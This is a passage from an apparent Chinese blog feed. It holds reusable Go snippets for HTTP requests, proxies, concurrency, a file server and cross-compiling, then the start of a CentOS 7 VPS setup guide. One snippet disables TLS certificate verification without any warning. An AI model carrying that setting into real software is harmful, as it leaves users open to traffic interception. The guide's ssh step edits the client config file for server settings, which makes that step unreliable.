class="line">  resp, err := client.Do(req)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> resp, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 调用</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  url := <span class="string">&quot;https://example.com/api&quot;</span></span><br><span class="line">  payload := []<span class="keyword">byte</span>(<span class="string">`&#123;&quot;key&quot;: &quot;value&quot;&#125;`</span>)</span><br><span class="line">  headers := <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">string</span>&#123;</span><br><span class="line">    <span class="string">&quot;Content-Type&quot;</span>:  <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Authorization&quot;</span>: <span class="string">&quot;Bearer abc123&quot;</span>,</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  resp, err := SendPostRequest(url, payload, headers)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line">  body := resp.Body</span><br><span class="line">  fmt.Println(body)</span><br><span class="line">  <span class="comment">// 处理响应</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发送的结果</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST /api HTTP/<span class="number">1.1</span></span><br><span class="line">Host: example.com</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Content-Length: <span class="number">23</span></span><br><span class="line">Authorization: Bearer abc123</span><br><span class="line"></span><br><span class="line">&#123;<span class="string">&quot;key&quot;</span>: <span class="string">&quot;value&quot;</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="忽略证书"><a href="#忽略证书" class="headerlink" title="忽略证书"></a>忽略证书</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">// 创建一个 http.Transport，设置忽略 SSL 证书验证</span></span><br><span class="line">  tr := &amp;http.Transport&#123;</span><br><span class="line">    TLSClientConfig: &amp;tls.Config&#123;InsecureSkipVerify: <span class="literal">true</span>&#125;,</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 创建一个 http.Client，指定上面创建的 http.Transport</span></span><br><span class="line">  client := &amp;http.Client&#123;Transport: tr&#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 发送一个 GET 请求</span></span><br><span class="line">  resp, err := client.Get(<span class="string">&quot;https://example.com&quot;</span>)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">defer</span> resp.Body.Close()</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 输出响应结果</span></span><br><span class="line">  fmt.Println(resp.Status)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="代理"><a href="#代理" class="headerlink" title="代理"></a>代理</h2><h3 id="http代理"><a href="#http代理" class="headerlink" title="http代理"></a>http代理</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 设置本程序全局代理</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SetGlobalHttpProxy</span><span class="params">(proxyServer <span class="keyword">string</span>)</span> <span class="title">error</span></span> &#123;</span><br><span class="line">  <span class="keyword">if</span> proxyServer == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  proxyURL, err := url.Parse(proxyServer)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;Error parsing proxy server address: %s&quot;</span>, err)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  http.DefaultTransport = &amp;http.Transport&#123;Proxy: http.ProxyURL(proxyURL)&#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">//调用代理,可以判断结合命令行参数进行调用</span></span><br><span class="line">  proxyServer := <span class="string">&quot;http://127.0.0.1:123&quot;</span></span><br><span class="line">  <span class="keyword">if</span> err := SetGlobalHttpProxy(proxyServer); err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="socks代理"><a href="#socks代理" class="headerlink" title="socks代理"></a>socks代理</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> proxys</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;golang.org/x/net/proxy&quot;</span></span><br><span class="line">  <span class="string">&quot;net/http&quot;</span></span><br><span class="line">  <span class="string">&quot;net/url&quot;</span></span><br><span class="line">  <span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SetGlobalSocksProxy</span><span class="params">(proxyServer <span class="keyword">string</span>)</span> <span class="title">error</span></span> &#123;</span><br><span class="line">  <span class="keyword">if</span> proxyServer == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  proxyURL, err := url.Parse(proxyServer)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;Error parsing proxy server address: %s&quot;</span>, err)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  dialer, err := proxy.FromURL(proxyURL, proxy.Direct)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;Error creating SOCKS5 dialer: %s&quot;</span>, err)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  http.DefaultTransport = &amp;http.Transport&#123;</span><br><span class="line">    Dial:                dialer.Dial,</span><br><span class="line">    DialContext:         dialer.(proxy.ContextDialer).DialContext,</span><br><span class="line">    DialTLS:             dialer.Dial,</span><br><span class="line">    DialTLSContext:      dialer.(proxy.ContextDialer).DialContext,</span><br><span class="line">    TLSHandshakeTimeout: <span class="number">10</span> * time.Second,</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">//调用代理,可以判断结合命令行参数进行调用</span></span><br><span class="line">  <span class="keyword">if</span> err := SetGlobalSocksProxy(<span class="string">&quot;127.0.0.1:123&quot;</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="并发"><a href="#并发" class="headerlink" title="并发"></a>并发</h2><p><img src="/2023/3397475585/image_lt-JouD0Rm.png"></p><p>生产者每秒生成一个字符串，并通过通道传给消费者，生产者使用两个 goroutine 并发运行，消费者在 main() 函数的 goroutine 中进行处理。</p><p>仅仅通过关键字 go 实现 goroutine，和通道实现数据交换</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;math/rand&quot;</span></span><br><span class="line">  <span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数据生产者</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">producer</span><span class="params">(header <span class="keyword">string</span>, channel <span class="keyword">chan</span>&lt;- <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">  <span class="comment">// 无限循环, 不停地生产数据</span></span><br><span class="line">  <span class="keyword">for</span> &#123;</span><br><span class="line">    <span class="comment">// 将随机数和字符串格式化为字符串发送给通道</span></span><br><span class="line">    channel &lt;- fmt.Sprintf(<span class="string">&quot;%s: %v&quot;</span>, header, rand.Int31())</span><br><span class="line">    <span class="comment">// 等待1秒</span></span><br><span class="line">    time.Sleep(time.Second)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数据消费者</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">customer</span><span class="params">(channel &lt;-<span class="keyword">chan</span> <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">  <span class="comment">// 不停地获取数据</span></span><br><span class="line">  <span class="keyword">for</span> &#123;</span><br><span class="line">    <span class="comment">// 从通道中取出数据, 此处会阻塞直到信道中返回数据</span></span><br><span class="line">    message := &lt;-channel</span><br><span class="line">    <span class="comment">// 打印数据</span></span><br><span class="line">    fmt.Println(message)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">// 创建一个字符串类型的通道</span></span><br><span class="line">  channel := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line">  <span class="comment">// 创建producer()函数的并发goroutine</span></span><br><span class="line">  <span class="keyword">go</span> producer(<span class="string">&quot;cat&quot;</span>, channel)</span><br><span class="line">  <span class="keyword">go</span> producer(<span class="string">&quot;dog&quot;</span>, channel)</span><br><span class="line">  <span class="comment">// 数据消费函数</span></span><br><span class="line">  customer(channel)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">cat: <span class="number">402107940</span></span><br><span class="line">dog: <span class="number">512906503</span></span><br><span class="line">cat: <span class="number">1348830552</span></span><br><span class="line">dog: <span class="number">272199843</span></span><br><span class="line">cat: <span class="number">604152205</span></span><br><span class="line">dog: <span class="number">881161598</span></span><br><span class="line">dog: <span class="number">933967425</span></span><br><span class="line">cat: <span class="number">1342381351</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="并发发送http请求"><a href="#并发发送http请求" class="headerlink" title="并发发送http请求"></a>并发发送http请求</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;io&quot;</span></span><br><span class="line">  <span class="string">&quot;net/http&quot;</span></span><br><span class="line">  <span class="string">&quot;sync&quot;</span></span><br><span class="line">  <span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Response <span class="keyword">struct</span> &#123;</span><br><span class="line">  Url        <span class="keyword">string</span></span><br><span class="line">  StatusCode <span class="keyword">int</span></span><br><span class="line">  Body       <span class="keyword">string</span></span><br><span class="line">  Error      error</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">fetchURL</span><span class="params">(url <span class="keyword">string</span>, wg *sync.WaitGroup, ch <span class="keyword">chan</span>&lt;- Response)</span></span> &#123;</span><br><span class="line">  <span class="keyword">defer</span> wg.Done()</span><br><span class="line"></span><br><span class="line">  resp, err := http.Get(url)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    ch &lt;- Response&#123;Url: url, Error: err&#125;</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">defer</span> resp.Body.Close()</span><br><span class="line"></span><br><span class="line">  body, err := io.ReadAll(resp.Body)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    ch &lt;- Response&#123;Url: url, Error: err&#125;</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  ch &lt;- Response&#123;Url: url, StatusCode: resp.StatusCode, Body: <span class="keyword">string</span>(body)&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">fetchAllURLs</span><span class="params">(urls []<span class="keyword">string</span>, maxConcurrency <span class="keyword">int</span>)</span> []<span class="title">Response</span></span> &#123;</span><br><span class="line">  ch := <span class="built_in">make</span>(<span class="keyword">chan</span> Response, <span class="built_in">len</span>(urls))</span><br><span class="line">  <span class="keyword">var</span> wg sync.WaitGroup</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> _, url := <span class="keyword">range</span> urls &#123;</span><br><span class="line">    wg.Add(<span class="number">1</span>)</span><br><span class="line">    <span class="keyword">go</span> fetchURL(url, &amp;wg, ch)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  wg.Wait()</span><br><span class="line">  <span class="built_in">close</span>(ch)</span><br><span class="line"></span><br><span class="line">  <span class="keyword">var</span> results []Response</span><br><span class="line">  <span class="keyword">for</span> resp := <span class="keyword">range</span> ch &#123;</span><br><span class="line">    results = <span class="built_in">append</span>(results, resp)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> results</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  start := time.Now() <span class="comment">// 获取当前时间</span></span><br><span class="line">  urls := []<span class="keyword">string</span>&#123;</span><br><span class="line">    <span class="string">&quot;https://www.google.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;https://www.facebook.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;https://www.apple.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;https://www.amazon.com&quot;</span>,</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">//传入url列表，以及并发数量发送http请求</span></span><br><span class="line">  responses := fetchAllURLs(urls, <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">  <span class="comment">//接口返回的值</span></span><br><span class="line">  <span class="keyword">for</span> _, resp := <span class="keyword">range</span> responses &#123;</span><br><span class="line">    <span class="keyword">if</span> resp.Error != <span class="literal">nil</span> &#123;</span><br><span class="line">      fmt.Printf(<span class="string">&quot;Error fetching %s: %s\n&quot;</span>, resp.Url, resp.Error)</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      fmt.Printf(<span class="string">&quot;%s returned status %d, body length %d\n&quot;</span>, resp.Url, resp.StatusCode, <span class="built_in">len</span>(resp.Body))</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">//获取结束的时间</span></span><br><span class="line">  elapsed := time.Since(start)</span><br><span class="line">  fmt.Println(<span class="string">&quot;该函数执行完成耗时：&quot;</span>, elapsed)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="web-服务器"><a href="#web-服务器" class="headerlink" title="web 服务器"></a>web 服务器</h2><p>类似于，python3 -m http.server</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  http.Handle(<span class="string">&quot;/&quot;</span>, http.FileServer(http.Dir(<span class="string">&quot;.&quot;</span>)))</span><br><span class="line">  http.ListenAndServe(<span class="string">&quot;:8082&quot;</span>, <span class="literal">nil</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="windows-编译多个平台程序"><a href="#windows-编译多个平台程序" class="headerlink" title="windows 编译多个平台程序"></a>windows 编译多个平台程序</h2><h3 id="设置GOOS和GOARCH环境变量来指定目标平台的操作系统和CPU架构"><a href="#设置GOOS和GOARCH环境变量来指定目标平台的操作系统和CPU架构" class="headerlink" title="设置GOOS和GOARCH环境变量来指定目标平台的操作系统和CPU架构"></a>设置<code>GOOS</code>和<code>GOARCH</code>环境变量来指定目标平台的操作系统和CPU架构</h3><ul><li>  Windows 64位：<code>GOOS=windows</code>，<code>GOARCH=amd64</code></li><li>  Windows 32位：<code>GOOS=windows</code>，<code>GOARCH=386</code></li><li>  macOS 64位：<code>GOOS=darwin</code>，<code>GOARCH=amd64</code></li><li>  Linux 64位：<code>GOOS=linux</code>，<code>GOARCH=amd64</code></li><li>  Linux 32位：<code>GOOS=linux</code>，<code>GOARCH=386</code></li><li>  Linux ARMv5（如树莓派）：<code>GOOS=linux</code>，<code>GOARCH=arm</code>，<code>GOARM=5</code></li><li>  Linux ARMv6（如树莓派Zero）：<code>GOOS=linux</code>，<code>GOARCH=arm</code>，<code>GOARM=6</code></li><li>  Linux ARMv7（如树莓派2）：<code>GOOS=linux</code>，<code>GOARCH=arm</code>，<code>GOARM=7</code></li><li>  Linux ARM64v8（如树莓派3）：<code>GOOS=linux</code>，<code>GOARCH=arm64</code></li></ul><p>进入项目目录底下</p><h3 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h3><p>64 位具体参考如上</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SET GOOS=linux</span><br><span class="line">SET GOARCH=amd64</span><br><span class="line"><span class="keyword">go</span> build -o linuxTest</span><br></pre></td></tr></table></figure><h3 id="window"><a href="#window" class="headerlink" title="window"></a>window</h3><p>64 位具体参考如上</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">export GOOS=windows</span><br><span class="line">export GOARCH=amd64</span><br><span class="line"><span class="keyword">go</span> build -o winTest.exe</span><br></pre></td></tr></table></figure><h3 id="macOS"><a href="#macOS" class="headerlink" title="macOS"></a>macOS</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SET GOOS=darwin</span><br><span class="line">SET GOARCH=amd64</span><br><span class="line"><span class="keyword">go</span> build -o macTest</span><br></pre></td></tr></table></figure><h2 id="banner生成"><a href="#banner生成" class="headerlink" title="banner生成"></a>banner生成</h2><p><a href="http://patorjk.com/software/taag/#p=display&amp;f=Graffiti&amp;t=Type%20Something">http://patorjk.com/software/taag/#p=display&amp;f=Graffiti&amp;t=Type%20Something</a></p><p><img src="/2023/3397475585/image_h4Tp-aoCfn-16816173676781.png" alt="image_h4Tp-aoCfn"></p>]]></content>
    
    
    <summary type="html">只是列举了，常用的代码片段，封装成函数，直接调用，如果想修改其他功能直接替换调核心代码即可，方便下次直接使用。</summary>
    
    
    
    <category term="go相关" scheme="https://fz1lin.com/categories/go%E7%9B%B8%E5%85%B3/"/>
    
    
    <category term="go" scheme="https://fz1lin.com/tags/go/"/>
    
  </entry>
  
  <entry>
    <title>vps 常用环境安装</title>
    <link href="https://fz1lin.com/2022/2917416115/"/>
    <id>https://fz1lin.com/2022/2917416115/</id>
    <published>2022-03-31T11:14:11.000Z</published>
    <updated>2023-03-25T02:25:18.886Z</updated>
    
    <content type="html"><![CDATA[<p>修订版本 v 2.0—增加java环境相关内容，优化Linux 语句、增加python pip 安装</p><p>修订版本 v 3.0 -增加 MySQL 安装，优化Linux语句内容。</p><p>修订版本 v 3.1 -增加国外源，优化Docker语句</p><h2 id="必看"><a href="#必看" class="headerlink" title="必看"></a>必看</h2><p>本安装系统适用于 centos 7 系列</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cat /etc/redhat-release</span><br><span class="line">centos 7</span><br></pre></td></tr></table></figure><p>所有安装环境只根据个人需要进行安装，无需全部安装，会持续添加，修订 ~~</p><p>source /etc/profile  编译后只能在当前终端生效，重新开启一个中断后，该环境变量将失效。解决办法，重启 <code>reboot</code>、即可永久生效</p><h2 id="Linux配置ssh"><a href="#Linux配置ssh" class="headerlink" title="Linux配置ssh"></a>Linux配置ssh</h2><p>1.vnc配置ssh连接</p><ul><li>按照要求进行配置</li><li>进行连接</li></ul><p>2.ssh连接</p><ul><li>配置ssh配置文件</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/ssh/ssh_config</span><br><span class="line"></span><br><span class="line"><span class="comment">#修改ssh配置文件</span></span><br><span class="line"><span class="comment"># Port 22 去掉注释</span></span><br><span class="line">Port <span class="number">22</span></span><br><span class="line"><span class="comment">#------------------------分割线---------------------------</span></span><br><span class="line"><span class="comment">#PermitLocalCommand no #去掉注释并改为</span></span><br><span class="line">PermitLocalCommand yes</span><br><span class="line">- 退出保存即可</span><br></pre></td></tr></table></figure><p>3.连接ssh</p><p>输入密码和用户即可</p><h2 id="Yum-源"><a href="#Yum-源" class="headerlink" title="Yum 源"></a>Yum 源</h2><p>国外的服务可忽略</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">yum install -y wget</span><br><span class="line"><span class="built_in">cd</span> /etc/yum.repos.d</span><br><span class="line">mv CentOS-Base.repo CentOS-Base.repo.bk</span><br><span class="line">wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo</span><br><span class="line">yum clean all &amp;&amp; yum makecache</span><br></pre></td></tr></table></figure><p>其他源</p><p>清华源 <a href="https://mirrors.tuna.tsinghua.edu.cn/help/centos/">https://mirrors.tuna.tsinghua.edu.cn/help/centos/</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 网易源</span></span><br><span class="line">wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.163.com/.<span class="built_in">help</span>/CentOS7-Base-163.repo</span><br><span class="line"></span><br><span class="line"><span class="comment"># 中科大</span></span><br><span class="line">wget -O /etc/yum.repos.d/CentOS-Base.repo <span class="string">&#x27;https://lug.ustc.edu.cn/wiki/_export/code/mirrors/help/centos?codeblock=3&#x27;</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 网易源</span></span><br><span class="line">wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.163.com/.<span class="built_in">help</span>/CentOS7-Base-163.repo</span><br><span class="line"></span><br><span class="line"><span class="comment"># 中科大</span></span><br><span class="line">wget -O /etc/yum.repos.d/CentOS-Base.repo <span class="string">&#x27;https://lug.ustc.edu.cn/wiki/_export/code/mirrors/help/centos?codeblock=3&#x27;</span></span><br><span 